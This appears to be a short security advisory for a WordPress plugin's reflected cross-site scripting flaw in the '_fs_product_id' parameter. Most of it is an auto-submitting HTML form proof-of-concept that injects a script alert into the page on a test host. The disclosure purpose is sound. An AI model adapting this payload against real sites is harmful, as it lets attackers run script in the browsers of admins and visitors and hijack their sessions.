Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin or unauthenticated users

Have any user (admin or unauthenticated) open an HTML page with the following:

```
<body onload="document.forms[0].submit()"><form action="http://wps-test.ddev.site/fspi-product-inquiry/" method="POST"><input type="text" name="_fs_product_id" value='"><script>alert(2)</script>'><input type="submit" value="submit"></form></body>
```
